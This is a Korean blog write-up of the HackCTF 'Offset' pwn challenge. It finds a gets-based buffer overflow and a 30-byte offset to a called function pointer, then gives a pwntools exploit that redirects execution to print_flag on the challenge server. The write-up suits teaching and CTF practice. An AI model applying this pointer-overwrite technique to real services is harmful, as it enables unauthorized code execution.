Wargame/HackCTF

[HackCTF] Offset

핏디 2021. 7. 25. 23:16
SMALL

[문제]

 


[풀이]

문제의 바이너리를 실행하니 일정 개수의 문자열을 입력한 후에는 버퍼 오버플로우가 발생하는 것을 확인할 수 있었다.

 

보호 기법을 확인하니 ret 주소를 이용한 exploit이나 shellcode를 삽입할 수 없었다. 이에 gdb를 실행하여 함수 목록을 확인해보았다.

함수 목록을 확인하니 two, print_flag, one, select_func, main 함수가 눈에 띄였다. print_flag에서 flag를 획득할 수 있을 것 같고, main을 제외한 다른 함수들이 특이하여 살펴보았다.

 

먼저 main함수를 보니 

main(){

      setvbuf();

      puts("Which function would you like to call?");

      gets(&s);

      select_func(&s);

      return 0;

}

와 같이 간단하게 구성이 된다. 

main에서 호출하는 select_func함수를 살펴보면 다음과 같다.

select_func{

      strncpy(&dest, src, 31u)

      if (!strcmp (&dest, "one"))

         one();

      return x();    

와 같이 될 것을 예상해볼 수 있다. 

one을 입력했을 때 one 함수를 호출하는 것으로 보아, 입력 값과 one 함수를 호출하기 직전의 값의 offset을 구하면 exploit 할 수 있을 것 같다.

 

다수의 a를 입력 값으로 줬고, main에서 확인해보면 0xffffd101에서부터 위치하는 것을 알 수 있다.

 

two 함수와 print_flag함수는 ebp_0x190b의 위치에서부터 연결된 구조를 갖고 있다는 것을 알 수 있었다.

 

select_func 함수에서 실행흐름을 파악해 보면 call eax 에서 eax에 0x56555600을 갖고 있는 것을 볼 수 있다. 이 값을 print_flag 함수의 주소로 변조하면 exploit 할 수 있을 것으로 보인다.

 

 

 

입력 값의 주소를 확인하니 0xffffd0be 부터 입력되고 있었고,

call eax에서 eax에 담긴 값은 0xffffd0dc에서 확인할 수 있었다.

 

즉, 입력 값과 eax의 위치는 0x1e(30)만큼의 offset을 갖고 있다는 것을 알 수 있다.

 

이에 exploit 코드를 작성해보면 다음과 같다.

  1 from pwn import *
  2 
  3 p = remote('ctf.j0n9hyun.xyz', 3007)
  4 
  5 e = ELF('./offset')
  6 
  7 p.recvuntil('call?')
  8 payload = "A" * 30 + p32(e.symbols['print_flag'])
  9 
 10 p.sendline(payload)
 11 p.interactive()

7: 입력 값 직전의 메시지까지 받아 출력한다.

8: 입력 값에 dummy를 30만큼 채우고 eax 자리에 print_flag의 주소를 삽입한다.

-> print_flag의 주소는 직접 구하는 방법도 있지만, pwntool에서 symbols를 통해 구할 수도 있다.

10: payload를 보낸다.

 

python으로 exploit 코드를 실행해보면 flag를 획득할 수 있다.

LIST

'Wargame > HackCTF' 카테고리의 다른 글

[HackCTF] yes_or_no  (0) 2021.08.15
[HackCTF] BOF_PIE  (0) 2021.07.26
[HackCTF] Simple_Overflow_ver_2  (0) 2021.07.25
[HackCTF] x64 Simple_size_BOF 문제 풀이  (0) 2021.07.17
[HackCTF] x64 Buffer Overflow 문제 풀이  (0) 2021.07.17